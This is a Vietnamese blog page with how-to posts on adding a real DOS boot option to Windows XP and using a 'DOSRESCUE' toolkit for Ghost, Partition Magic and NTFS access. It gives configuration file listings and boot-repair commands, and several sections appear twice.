Cứu hộ máy tính với DOSRESCUE trong 1s
Máy tính bạn trục trặc, không vào được windows ư? Cần vào lại XP hay cứu hộ bằng Ghost hay Partitionmagic 805, hay chép dữ liệu từ ổ NTFS, không có gì là khó, chỉ cần làm 1 trong 2 cách làm như sau:
I) Có hai cách cứu hộ như sau và tuỳ bạn chọn thế nào là tốt và nhanh nhất:
1) Nếu bạn đã có đĩa cứu hộ Hiren boot 84, muốn dùng được, nhưng phải chờ khá lâu:
a) Muốn làm Ghost 83 hay vào Volkov commander 499, chép dữ liệu từ NTFS trong Hiren boot CD , bạn phải qua khá nhiều bước, đến hơn cả một phút (60 lần lâu hơn khi so với bạn có sẵn DOS thực trong ổ cứng):
-Trước hết, phải chỉnh BIOS lại boot device đầu tiên bằng CDROM, save cấu hình và Exit
- Để đĩa Hiren boot CD 8.5 đã ghi sẵn vào CD-ROM, reboot lại và chờ nó boot vào CD xong, chọn ở phần 2 là Start Boot CD, thay vì Start windows
- Khi hiện ra menu chung, bạn lại phải vào tiếp mục Disk clone, mới vào tools, rồi chọn Ghost 83 trong 5 loại công cụ Disk clone của đĩa Hiren đã có sẵn( các thứ khác ngoài Ghost, phải nói là ít khi có nhu cầu hay xài đến ) .
Nó hỏi tiếp bạn nên chọn loại ghost gì trong 6 loại, có cần xoá swap files không (điều hỏi này quá thừa): Ghost làm việc trong DOS không bao giờ save luôn cả file hoán chuyển pagefile.sys cả .
Làm xong mọi bước vậy, bạn mới có thể làm ghost 83 sao lưu hay phục hồi ổ cứng được,
b) Nếu bạn chọn Files Manager để vào tới Volkov commander, nó lại hỏi dư thừa lần nữa có cần xem tên file dài không, và có cần nạp NTFS for DOS . Sau đó, nó mới mở xong Volkov commmander 499 để xem tên file dài hay các ổ đĩa nào đã định dạng theo NTFS.
2) Trái lại nếu có sẵn DOS thực trong XP (đã format ổ C theo FAT 32), bạn muốn vào lại XP, hay cần làm Ghost83 , hoặc PM 805; cần xem tên file dài, coi bất cứ ổ nào đã format NTFS: Bạn sẽ tốn đúng 1 giây, sau khi hiện ra menu( tạo ra bởi boot.ini ) để chọn vào 1 trong 2 DOS hay XP .
II) Cách dùng DOSRESCUE trong DOS thực của XP ra sao?:
a) Đầu tiên, bạn nên tải về file DOSRESCUE.zip khoảng 5 MB từ 1 trong 2 địa chỉ sau:
- Rapidshare: http://rapidshare.de/files/19899592/DOSRESCUE.zip
Cứ bung hết file zip này vào thư mục tạm trong ổ C, đã có sẵn DOS thực trong XP; ngoại trừ 1 thư mục DOSTOOLS (để ở ổ F hay ổ E tuỳ máy tính). Cần chỉnh lại file autoexec.bat nếu thư mục DOSTOOLS không phải để ở ổ F, mà ở E chẳng hạn .
Thực hiện tiếp những gì cần làm theo hướng dẫn ở phần III sau này, như vào XP, Ghost,PM 805 …
b) Trường hợp máy tính bạn chưa có DOS thực, cần tải file boot98.rar từ Megaupload http://www.megaupload.com/?d=UO45ZFK0 hay http://rapidshare.de/files/19898933/BOOT98.rar
Bung file RAR này ra, dùng WinImage 80 chép file hình ảnh IMA vào 1 đĩa mềm, đút vào ổ và làm theo 3 bước giản dị như đã hướng dẫn trong bài XHTT ( DOS thực cho XP ) cũ.:
+ sys A: C:
+ debug< read.scr
+ sysXPfat C:
Chỉ trong trường hợp khó khăn là không thể tải trên mạng được file DOSRESCUE.zip 6MB , bạn cũng có thể tự tìm file ( đa số ở Hiren boot CD 85 ) và làm theo từng bước sau:
1)Tạo ra 1 thư mục NC đầu tiên trong C, và chép 6 files NC 5 vào trong ấy :
NC.EXE. NC.INI, NCMAIN.EXE, NCEDIT.EXE, NC.MSG, NSEDIT.MSG
2) Tạo ra thư mục thứ 2 DOS trong C, có,:
a) Các file DOS và driver tên sau:
ASPICEHCI.SYS,ECSCDIDE.SYS, MSCDEX.EXE, HIMEM.SYS, EMM386.EXE
b) Các file của NTFS PRO for DOS sau:
AUTOCHK.EXE, NTDLL.DLL, C_437.NLS,C_1252.NLS, L_INTL.NLS, LICENSE.BIN, NTFS4G.EXE, NTFS.SYS, NTFSCHK.EXE, NTFSDOS.EXE, NTFSHLP.VXD, NTFSPRO.EXE, NTOSKRNL.EXE, CP437UNI .TBL
3) Tạo thư mục 3 là VK và chép đủ các file của Volkov commander 499 (cũng tìm trong Hiren boot CD) và làm ra file VK.BAT. File VK.BAT tạo ra với có mả( CODE ) như sau, dùng notepad chép toàn bộ mả sau đây và lưu lại với tên vk.bat. Nhớ là copy bên trong và không có khung viền nhé.
@echo off
mouse
echo Load driver NTFS
C:
cd dos
ntfspro.exe
echo Load Volkov Commander
vc.com
4) Đồng thời cũng chép các file tên sau này sau vào ổ C:
CP437UNI.TBL, GUEST.EXE, SMARTDRV.EXE, MOUSE.COM, DOSLFN.COM, BOOT.INI , SYSXPFAT.COM, BOOTPART.EXE, AUTOEXEC.BAT và CONFIG.SYSRiêng 2 file autoexec.bat và config.sys, bạn phải tạo ra bằng cách dùng notepad chép đoạn mã( CODE ) sau và lưu lại
a) File autoexec.bat:
@ECHO OFF
PROMPT $p$g
PATH C:\;C:\DOS;C:\NC;C:\VK;F:\DOSTOOLS;
LH DOSLFN
LH MOUSE.COM
LH C:\DOS\MSCDEX.EXE /D:MSCD001
LH GUEST.EXE
SMARTDRV.EXE
b) File config.sys:
DEVICE=C:\DOS\HIMEM.SYS /testm:off
FILES=50
DOS=HIGH,UMB
FCBS=4,0
BUFFERS=20,0
LASTDRIVE=Z
STACKS=9,256
DEVICEHIGH=C:\DOS\ECSCDIDE.SYS /D:MSCD001
DEVICEHIGH=C:\DOS\ASPIEHCI.SYS /INT /ALL
c) File boot.ini dành riêng chọn boot vào XP hay vào DOS thực:
[boot loader]
timeout=10
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS=”Microsoft Windows XP Professional” /fastdetect
C:\=”MS_DOS”
5) Thư mục DOSTOOLS sẽ được tạo ra ở ổ F hay E (tuỳ máy tính chia nhiều hay ít phân vùng), có các file để làm Ghost 83 và Partition Magic 805 như sau:GHOST.EXE, PQMAGIC.EXE, PQMAGIC.OVL, PQMAGIC.RTC,PQMAGIC.VXD, PQMAGIC.PQG.
III) Có DOS thực trong XP kèm công cụ DOSRESCUE, mỗi khi bạn cần cứu hộ máy tính: sẽ quá nhanh chỉ sau 1 giây, không còn phải qua quá nhiều bước như đĩa Hiren bootCD 85:
1) Không vào được XP ư? :
- từ dấu nhắc C, đánh SysXPfat C: thế là xong. Tuy vậy, vẫn có lúc thất bại ( 30o/o)- thử thêm dòng lệnh thứ hai cũng từ dấu nhắc, là bootpart winnt boot: C:
2) Làm Ghost 83, Partition Magic805 :
- Đánh lệnh ghost từ dấu nhắc C sẽ vào ngay được Ghost đúng sau 1 giây
- Đánh Pqmagic, để vào Partition magic 805 để làm phân vùng lại ( chờ PM 8.05 load lên chậm hơn khoảng 5 giây ).
3) Cần xem tên file dài ở các ổ, cả xem các ổ đĩa nào đã định dạng bằng NTFS :
Đánh lệnh vk, khởi động Volkov commander 499 và nạp luôn NTFS pro cùng lúc: 1 giây .
4) Copy qua lại, hay GHOST qua cổng USB trong DOS này : rất nhanh, y như trong XP
Bạn chỉ cần lúc chọn vào MS-DOS thay vì vào XP , cắm ngay cây viết FD hay ổ cứng USB là nó sẽ có tên riêng, và bạn có thể chép file hay làm ghost sao lưu phục hồi thoải mái.
III) Kết luận:
Bạn đã thấy DOSRESCUE làm quá nhanh trong DOS thực để cứu hộ máy tính rồi đấy . Thế tại sao bạn còn không chịu tạo sẵn DOS thực ngay trong XP để dành cứu hộ. Xem tên file dài hay coi các ổ đĩa format theo NTFS, giờ đây là chuyện quá nhỏ với DOSRECUE.
I) Có hai cách cứu hộ như sau và tuỳ bạn chọn thế nào là tốt và nhanh nhất:
1) Nếu bạn đã có đĩa cứu hộ Hiren boot 84, muốn dùng được, nhưng phải chờ khá lâu:
a) Muốn làm Ghost 83 hay vào Volkov commander 499, chép dữ liệu từ NTFS trong Hiren boot CD , bạn phải qua khá nhiều bước, đến hơn cả một phút (60 lần lâu hơn khi so với bạn có sẵn DOS thực trong ổ cứng):
-Trước hết, phải chỉnh BIOS lại boot device đầu tiên bằng CDROM, save cấu hình và Exit
- Để đĩa Hiren boot CD 8.5 đã ghi sẵn vào CD-ROM, reboot lại và chờ nó boot vào CD xong, chọn ở phần 2 là Start Boot CD, thay vì Start windows
- Khi hiện ra menu chung, bạn lại phải vào tiếp mục Disk clone, mới vào tools, rồi chọn Ghost 83 trong 5 loại công cụ Disk clone của đĩa Hiren đã có sẵn( các thứ khác ngoài Ghost, phải nói là ít khi có nhu cầu hay xài đến ) .
Nó hỏi tiếp bạn nên chọn loại ghost gì trong 6 loại, có cần xoá swap files không (điều hỏi này quá thừa): Ghost làm việc trong DOS không bao giờ save luôn cả file hoán chuyển pagefile.sys cả .
Làm xong mọi bước vậy, bạn mới có thể làm ghost 83 sao lưu hay phục hồi ổ cứng được,
b) Nếu bạn chọn Files Manager để vào tới Volkov commander, nó lại hỏi dư thừa lần nữa có cần xem tên file dài không, và có cần nạp NTFS for DOS . Sau đó, nó mới mở xong Volkov commmander 499 để xem tên file dài hay các ổ đĩa nào đã định dạng theo NTFS.
2) Trái lại nếu có sẵn DOS thực trong XP (đã format ổ C theo FAT 32), bạn muốn vào lại XP, hay cần làm Ghost83 , hoặc PM 805; cần xem tên file dài, coi bất cứ ổ nào đã format NTFS: Bạn sẽ tốn đúng 1 giây, sau khi hiện ra menu( tạo ra bởi boot.ini ) để chọn vào 1 trong 2 DOS hay XP .
II) Cách dùng DOSRESCUE trong DOS thực của XP ra sao?:
a) Đầu tiên, bạn nên tải về file DOSRESCUE.zip khoảng 5 MB từ 1 trong 2 địa chỉ sau:
- Rapidshare: http://rapidshare.de/files/19899592/DOSRESCUE.zip
Cứ bung hết file zip này vào thư mục tạm trong ổ C, đã có sẵn DOS thực trong XP; ngoại trừ 1 thư mục DOSTOOLS (để ở ổ F hay ổ E tuỳ máy tính). Cần chỉnh lại file autoexec.bat nếu thư mục DOSTOOLS không phải để ở ổ F, mà ở E chẳng hạn .
Thực hiện tiếp những gì cần làm theo hướng dẫn ở phần III sau này, như vào XP, Ghost,PM 805 …
b) Trường hợp máy tính bạn chưa có DOS thực, cần tải file boot98.rar từ Megaupload http://www.megaupload.com/?d=UO45ZFK0 hay http://rapidshare.de/files/19898933/BOOT98.rar
Bung file RAR này ra, dùng WinImage 80 chép file hình ảnh IMA vào 1 đĩa mềm, đút vào ổ và làm theo 3 bước giản dị như đã hướng dẫn trong bài XHTT ( DOS thực cho XP ) cũ.:
+ sys A: C:
+ debug< read.scr
+ sysXPfat C:
Chỉ trong trường hợp khó khăn là không thể tải trên mạng được file DOSRESCUE.zip 6MB , bạn cũng có thể tự tìm file ( đa số ở Hiren boot CD 85 ) và làm theo từng bước sau:
1)Tạo ra 1 thư mục NC đầu tiên trong C, và chép 6 files NC 5 vào trong ấy :
NC.EXE. NC.INI, NCMAIN.EXE, NCEDIT.EXE, NC.MSG, NSEDIT.MSG
2) Tạo ra thư mục thứ 2 DOS trong C, có,:
a) Các file DOS và driver tên sau:
ASPICEHCI.SYS,ECSCDIDE.SYS, MSCDEX.EXE, HIMEM.SYS, EMM386.EXE
b) Các file của NTFS PRO for DOS sau:
AUTOCHK.EXE, NTDLL.DLL, C_437.NLS,C_1252.NLS, L_INTL.NLS, LICENSE.BIN, NTFS4G.EXE, NTFS.SYS, NTFSCHK.EXE, NTFSDOS.EXE, NTFSHLP.VXD, NTFSPRO.EXE, NTOSKRNL.EXE, CP437UNI .TBL
3) Tạo thư mục 3 là VK và chép đủ các file của Volkov commander 499 (cũng tìm trong Hiren boot CD) và làm ra file VK.BAT. File VK.BAT tạo ra với có mả( CODE ) như sau, dùng notepad chép toàn bộ mả sau đây và lưu lại với tên vk.bat. Nhớ là copy bên trong và không có khung viền nhé.
@echo off
mouse
echo Load driver NTFS
C:
cd dos
ntfspro.exe
echo Load Volkov Commander
vc.com
4) Đồng thời cũng chép các file tên sau này sau vào ổ C:
CP437UNI.TBL, GUEST.EXE, SMARTDRV.EXE, MOUSE.COM, DOSLFN.COM, BOOT.INI , SYSXPFAT.COM, BOOTPART.EXE, AUTOEXEC.BAT và CONFIG.SYSRiêng 2 file autoexec.bat và config.sys, bạn phải tạo ra bằng cách dùng notepad chép đoạn mã( CODE ) sau và lưu lại
a) File autoexec.bat:
@ECHO OFF
PROMPT $p$g
PATH C:\;C:\DOS;C:\NC;C:\VK;F:\DOSTOOLS;
LH DOSLFN
LH MOUSE.COM
LH C:\DOS\MSCDEX.EXE /D:MSCD001
LH GUEST.EXE
SMARTDRV.EXE
b) File config.sys:
DEVICE=C:\DOS\HIMEM.SYS /testm:off
FILES=50
DOS=HIGH,UMB
FCBS=4,0
BUFFERS=20,0
LASTDRIVE=Z
STACKS=9,256
DEVICEHIGH=C:\DOS\ECSCDIDE.SYS /D:MSCD001
DEVICEHIGH=C:\DOS\ASPIEHCI.SYS /INT /ALL
c) File boot.ini dành riêng chọn boot vào XP hay vào DOS thực:
[boot loader]
timeout=10
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS=”Microsoft Windows XP Professional” /fastdetect
C:\=”MS_DOS”
5) Thư mục DOSTOOLS sẽ được tạo ra ở ổ F hay E (tuỳ máy tính chia nhiều hay ít phân vùng), có các file để làm Ghost 83 và Partition Magic 805 như sau:GHOST.EXE, PQMAGIC.EXE, PQMAGIC.OVL, PQMAGIC.RTC,PQMAGIC.VXD, PQMAGIC.PQG.
III) Có DOS thực trong XP kèm công cụ DOSRESCUE, mỗi khi bạn cần cứu hộ máy tính: sẽ quá nhanh chỉ sau 1 giây, không còn phải qua quá nhiều bước như đĩa Hiren bootCD 85:
1) Không vào được XP ư? :
- từ dấu nhắc C, đánh SysXPfat C: thế là xong. Tuy vậy, vẫn có lúc thất bại ( 30o/o)- thử thêm dòng lệnh thứ hai cũng từ dấu nhắc, là bootpart winnt boot: C:
2) Làm Ghost 83, Partition Magic805 :
- Đánh lệnh ghost từ dấu nhắc C sẽ vào ngay được Ghost đúng sau 1 giây
- Đánh Pqmagic, để vào Partition magic 805 để làm phân vùng lại ( chờ PM 8.05 load lên chậm hơn khoảng 5 giây ).
3) Cần xem tên file dài ở các ổ, cả xem các ổ đĩa nào đã định dạng bằng NTFS :
Đánh lệnh vk, khởi động Volkov commander 499 và nạp luôn NTFS pro cùng lúc: 1 giây .
4) Copy qua lại, hay GHOST qua cổng USB trong DOS này : rất nhanh, y như trong XP
Bạn chỉ cần lúc chọn vào MS-DOS thay vì vào XP , cắm ngay cây viết FD hay ổ cứng USB là nó sẽ có tên riêng, và bạn có thể chép file hay làm ghost sao lưu phục hồi thoải mái.
III) Kết luận:
Bạn đã thấy DOSRESCUE làm quá nhanh trong DOS thực để cứu hộ máy tính rồi đấy . Thế tại sao bạn còn không chịu tạo sẵn DOS thực ngay trong XP để dành cứu hộ. Xem tên file dài hay coi các ổ đĩa format theo NTFS, giờ đây là chuyện quá nhỏ với DOSRECUE.
Tạo DOS thực trong Windows XP
Nếu bạn cài nâng cấp từ 98 lên XP không có gì phải đáng nói, rất dễ có DOS thực (cứ thêm vào dòng lệnh cuối là C:\=”MS-DOS” trong boot.ini Trái lại, một khi bạn cài Windows XP bằng CD tự boot trên một ổ (partition) C mới tinh (fresh, new), chưa cài thứ gì cả mới có một mình XP, bạn muốn có DOS thực cho XP này là cả một vấn đề vì bản thân Win XP không xài và không bao giờ dùng đến DOS cả.
Vào DOS thực mà không phải dùng đến đĩa mềm vẫn còn cần thiết để bạn làm Ghost, Partition magic, Drive Image sao lưu hay xoá các file, thư mục mà bạn không thể xoá trong windows được.
Điều này cũng tương tự vậy khi bạn cài lại chỉ một thứ XP trên ổ C( đã có Winme ) và muốn bỏ hẳn windows cũ này( WinMe ) đi , làm sao thật đơn giản nhất ?Muốn làm vậy, bạn có thể dùng Partition Magic 805 làm ngoài DOS với CD Hiren boot 81 : ấn nút phải vào ổ C, chọn delete và xoá sạch WinMe trong ổ cứng C chỉ vài giây thôi. Nó bắt bạn đánh vào OK mới cho phép xoá( delete ) cái partition primary này được đấy.
Nhớ là bạn nên create( tạo )ra ngay ổ đĩa khác có tên mới cũng bằng FAT 32, label đặt tên lại là XPSP2 chẳng hạn. Bạn cũng phải chọn thêm ổ này là Primary không phải logical và trong phần advanced phải chọn lại cho nó phải là active( hoạt động ) nữa.
1) Cách thứ nhất( khi vừa mới vừa xoá sạch ổ C mà chưa dùng đĩa CD để cài XP ngay ):
Tải từ Mega file boot98.rar với link sau: http://www.megaupload.com/?d=UO45ZFK0
Extract file boot98.rar ra thành boot98.ima. Dùng Winimage 80 ( download từ http://www.megaupload.com/?d=R9K2ICY0)
Mở file hình ảnh boot98.ima rồi write vào 1 floppy disk mới.
Chọn trong CMOS first boot device, là Floppy disk save configuration , exit và reboot máy lại Để đĩa mềm mới làm ra này( autoboot ) vào ổ B,Đánh lệnh sys C:
Ba File khởi động quan trọng của DOS là command.com; io.sys ; msdos.sys từ ổ A sẽ chép vào trong ổ C. Bạn sẽ thấy dòng chữ system transferred là thành công. Rút đĩa mềm ấy ra và k hởi động máy lại lần nữa nhưng lần này, bạn ấn delete để vào ngay CMOS setup chọn lại first boot device là CDROM thay vì floppy để bắt đầu cài WinXp từ đĩa CD tự boot.
Nó bắt đầu quét ổ đĩa chép một số file tạm rồi mới hỏi bạn nên cài ở đâu. Nên chọn ổ C và không nên convert ( đổi qua ) NTFS. Trong DOS sẽ không đọc được các file NTFS, ngoại trừ bạn xài thêm NTFS for DOS.
Một khi cài xong XP, bạn muốn có DOS thực quá dễ nhưng trong DOS muốn cho đọc ổ CD- ROM và sử dụng chuột và dùng NC , bạn còn phải làm tiếp các bước như sau:- Khởi động máy lại vào windows XP, đến Windows Explorer chọn file boot .ini ,đổi thuộc tính read hay system, hidden only của file này và đổi dòng cuối là C:\= “Microsoft Windows ” thay bằngC:\ = “MS-DOS”.
- Bạn tạo ra 2 thư mục NC và DOS trong ổ C. Trong thư mục DOS, bạn chỉ cần extract 3 files từ boot98.ima ra bằng Winimage 80 là mscdex.exe và ecscdide.sys , mouse.com.
Riêng thư mục NC, bạn phải chép 5 file cần thiết cho Norton commander làm việc trong DOS là đủ: Đó là các file nc.exe, ncmain.exe, nc.ini. ncedit.exe, ncedit.msg, ncview.msg; tất cả cũng có sẵn trong file boot98.ima.
Riêng trong 2 file autoexec.bat và config.sys của ổ C ; nếu bạn đã cài XP từ CD sẽ không có gì cả .
Bạn phải thêm các dòng sau trong file autoexec.bat lübr /> @ECHO OFFPATH C:\DOS;C:\NC;C:\DOS\MSCDEX.EXE /D:MSCD001C:\DOS\MOUSE.COMSET NC=C:\NCSET TEMP=C:\TEMP
Trong file config.sys chỉ cần có 1 dòngDEVICE=C:\DOS\ECSCDIDE.SYS /D:MSCD001
2) Cách thứ 2 là bạn đã cài XP xong bằng CD boot mà chưa làm lệnh sys ngay từ lúc đầu:
Do bản thân WinXP đã đoạn tuyệt với DOS nên bạn hoàn toàn không thấy file bootsect.dos cho 98, chỉ có ntdlr và ntdetect.com trong ổ C . Giờ này bạn phải tạo ra từ đầu ra thôi, không còn cách nào khác nếu giờ bạn muốn có DOS thực cho XP không cần dùng đến đĩa mềm vào DOS.
a) Đầu tiên, dủng winimage bạn extract file boot.ini ra từ ở boot98.ima vào ổ C
b) Tạo ra 2 thư mục NC và DOS trong ổ C và chép vài file trong ấy đồng thời sửa file autoexec.bat và config.sys như cách 1 đã nói phần trên để sau này vào DOS mới dễ làm việc hơn.
c) Trong đĩa mềm khởi động vào Windows 98 ( boot98.ima), bạn đã có sẵn các file sau: debug.exe , read.scr và sysXPfat.com, bootpart.exe
d) Kế bạn ra khỏi XP, chọn first boot device là floppy disk và 2nd device là HDD-0 Khởi dộng máy lại, đút đĩa mềm autoboot là từ boot98.ima đã có sẳn những file đã nói trên.ở ngay dấu nhắc ổ A:\ đầu tiên, bạn đánh lệnh sys C: File hệ thống từ đĩa mềm sẽ được chép vào C nhưng do chưa có bootsect.dos của 98 trong C nên chưa làm gì được.
e) Bạn đánh tiếp lệnh debug < read.scr để tạo ra bootsect.dos cho DOS (W98). Khởi động máy lại, rút đĩa mềm ra bạn vào DOS của Win98 nhưng chỉ ở ngay dấu nhắc C:\ mà thôi nhưng lần này bạn sẽ hết vào windows XP được nữa.. f) Nếu bạn đã sửa 2 file autoexec. bat, config.sys xong cùng với tạo ra trong C 2 thư mục NC và DOS , bạn sẽ xài được NC5 trong DOS xem file dễ dàng và dọc CDROM, sử dụng chuột được. g) Muốn vào WinXP trở lại, từ ổ C chuyển qua A, bạn lại đánh tiếp lệnh sysXPfat C: Lần này, nó sẽ giúp cho bạn khởi động trở lại vào XP dễ dàng.
Đôi lúc trục trặc không vào được XP và chỉ ở DOS, bạn dùng 1 trong 3 cách sau: đút đĩa mềm autoboot vào, đánh 1 trong 2 dòng lệnh sau-sysXPfat C: nếu thất bại có thể thay bằng-bootpart winnt boot:C:Không được nữa; để đĩa CD XP chọn vào Recovery console, và đánh lệnh fixboot C:
Chúc bạn sớm thành công khi làm ra DOS thực cho XP/ 2000 mà trước đây dù phải nói là rất muốn nhiều bạn đã không thể nào làm được khi đã cài bằng đĩa CD XP tự boot .
Vào DOS thực mà không phải dùng đến đĩa mềm vẫn còn cần thiết để bạn làm Ghost, Partition magic, Drive Image sao lưu hay xoá các file, thư mục mà bạn không thể xoá trong windows được.
Điều này cũng tương tự vậy khi bạn cài lại chỉ một thứ XP trên ổ C( đã có Winme ) và muốn bỏ hẳn windows cũ này( WinMe ) đi , làm sao thật đơn giản nhất ?Muốn làm vậy, bạn có thể dùng Partition Magic 805 làm ngoài DOS với CD Hiren boot 81 : ấn nút phải vào ổ C, chọn delete và xoá sạch WinMe trong ổ cứng C chỉ vài giây thôi. Nó bắt bạn đánh vào OK mới cho phép xoá( delete ) cái partition primary này được đấy.
Nhớ là bạn nên create( tạo )ra ngay ổ đĩa khác có tên mới cũng bằng FAT 32, label đặt tên lại là XPSP2 chẳng hạn. Bạn cũng phải chọn thêm ổ này là Primary không phải logical và trong phần advanced phải chọn lại cho nó phải là active( hoạt động ) nữa.
1) Cách thứ nhất( khi vừa mới vừa xoá sạch ổ C mà chưa dùng đĩa CD để cài XP ngay ):
Tải từ Mega file boot98.rar với link sau: http://www.megaupload.com/?d=UO45ZFK0
Extract file boot98.rar ra thành boot98.ima. Dùng Winimage 80 ( download từ http://www.megaupload.com/?d=R9K2ICY0)
Mở file hình ảnh boot98.ima rồi write vào 1 floppy disk mới.
Chọn trong CMOS first boot device, là Floppy disk save configuration , exit và reboot máy lại Để đĩa mềm mới làm ra này( autoboot ) vào ổ B,Đánh lệnh sys C:
Ba File khởi động quan trọng của DOS là command.com; io.sys ; msdos.sys từ ổ A sẽ chép vào trong ổ C. Bạn sẽ thấy dòng chữ system transferred là thành công. Rút đĩa mềm ấy ra và k hởi động máy lại lần nữa nhưng lần này, bạn ấn delete để vào ngay CMOS setup chọn lại first boot device là CDROM thay vì floppy để bắt đầu cài WinXp từ đĩa CD tự boot.
Nó bắt đầu quét ổ đĩa chép một số file tạm rồi mới hỏi bạn nên cài ở đâu. Nên chọn ổ C và không nên convert ( đổi qua ) NTFS. Trong DOS sẽ không đọc được các file NTFS, ngoại trừ bạn xài thêm NTFS for DOS.
Một khi cài xong XP, bạn muốn có DOS thực quá dễ nhưng trong DOS muốn cho đọc ổ CD- ROM và sử dụng chuột và dùng NC , bạn còn phải làm tiếp các bước như sau:- Khởi động máy lại vào windows XP, đến Windows Explorer chọn file boot .ini ,đổi thuộc tính read hay system, hidden only của file này và đổi dòng cuối là C:\= “Microsoft Windows ” thay bằngC:\ = “MS-DOS”.
- Bạn tạo ra 2 thư mục NC và DOS trong ổ C. Trong thư mục DOS, bạn chỉ cần extract 3 files từ boot98.ima ra bằng Winimage 80 là mscdex.exe và ecscdide.sys , mouse.com.
Riêng thư mục NC, bạn phải chép 5 file cần thiết cho Norton commander làm việc trong DOS là đủ: Đó là các file nc.exe, ncmain.exe, nc.ini. ncedit.exe, ncedit.msg, ncview.msg; tất cả cũng có sẵn trong file boot98.ima.
Riêng trong 2 file autoexec.bat và config.sys của ổ C ; nếu bạn đã cài XP từ CD sẽ không có gì cả .
Bạn phải thêm các dòng sau trong file autoexec.bat lübr /> @ECHO OFFPATH C:\DOS;C:\NC;C:\DOS\MSCDEX.EXE /D:MSCD001C:\DOS\MOUSE.COMSET NC=C:\NCSET TEMP=C:\TEMP
Trong file config.sys chỉ cần có 1 dòngDEVICE=C:\DOS\ECSCDIDE.SYS /D:MSCD001
2) Cách thứ 2 là bạn đã cài XP xong bằng CD boot mà chưa làm lệnh sys ngay từ lúc đầu:
Do bản thân WinXP đã đoạn tuyệt với DOS nên bạn hoàn toàn không thấy file bootsect.dos cho 98, chỉ có ntdlr và ntdetect.com trong ổ C . Giờ này bạn phải tạo ra từ đầu ra thôi, không còn cách nào khác nếu giờ bạn muốn có DOS thực cho XP không cần dùng đến đĩa mềm vào DOS.
a) Đầu tiên, dủng winimage bạn extract file boot.ini ra từ ở boot98.ima vào ổ C
b) Tạo ra 2 thư mục NC và DOS trong ổ C và chép vài file trong ấy đồng thời sửa file autoexec.bat và config.sys như cách 1 đã nói phần trên để sau này vào DOS mới dễ làm việc hơn.
c) Trong đĩa mềm khởi động vào Windows 98 ( boot98.ima), bạn đã có sẵn các file sau: debug.exe , read.scr và sysXPfat.com, bootpart.exe
d) Kế bạn ra khỏi XP, chọn first boot device là floppy disk và 2nd device là HDD-0 Khởi dộng máy lại, đút đĩa mềm autoboot là từ boot98.ima đã có sẳn những file đã nói trên.ở ngay dấu nhắc ổ A:\ đầu tiên, bạn đánh lệnh sys C: File hệ thống từ đĩa mềm sẽ được chép vào C nhưng do chưa có bootsect.dos của 98 trong C nên chưa làm gì được.
e) Bạn đánh tiếp lệnh debug < read.scr để tạo ra bootsect.dos cho DOS (W98). Khởi động máy lại, rút đĩa mềm ra bạn vào DOS của Win98 nhưng chỉ ở ngay dấu nhắc C:\ mà thôi nhưng lần này bạn sẽ hết vào windows XP được nữa.. f) Nếu bạn đã sửa 2 file autoexec. bat, config.sys xong cùng với tạo ra trong C 2 thư mục NC và DOS , bạn sẽ xài được NC5 trong DOS xem file dễ dàng và dọc CDROM, sử dụng chuột được. g) Muốn vào WinXP trở lại, từ ổ C chuyển qua A, bạn lại đánh tiếp lệnh sysXPfat C: Lần này, nó sẽ giúp cho bạn khởi động trở lại vào XP dễ dàng.
Đôi lúc trục trặc không vào được XP và chỉ ở DOS, bạn dùng 1 trong 3 cách sau: đút đĩa mềm autoboot vào, đánh 1 trong 2 dòng lệnh sau-sysXPfat C: nếu thất bại có thể thay bằng-bootpart winnt boot:C:Không được nữa; để đĩa CD XP chọn vào Recovery console, và đánh lệnh fixboot C:
Chúc bạn sớm thành công khi làm ra DOS thực cho XP/ 2000 mà trước đây dù phải nói là rất muốn nhiều bạn đã không thể nào làm được khi đã cài bằng đĩa CD XP tự boot .
Blog không hiển thị đúng Tiếng Việt Unicode
Với Internet Explorer 6.0, bạn có thể tạm thời "cải thiện" tình hình bằng cách vào menu Tools > Internet Options > tại thẻ General, nhấn vào Accessibility > đánh dấu vào mục Ignore font styles specified on Web pages > OK. Tuy nhiên, sau đó nếu muốn xem các trang web khác, bạn nên bỏ dấu này để font hiển thị bình thường.
Đăng ký:
Bài đăng (Atom)
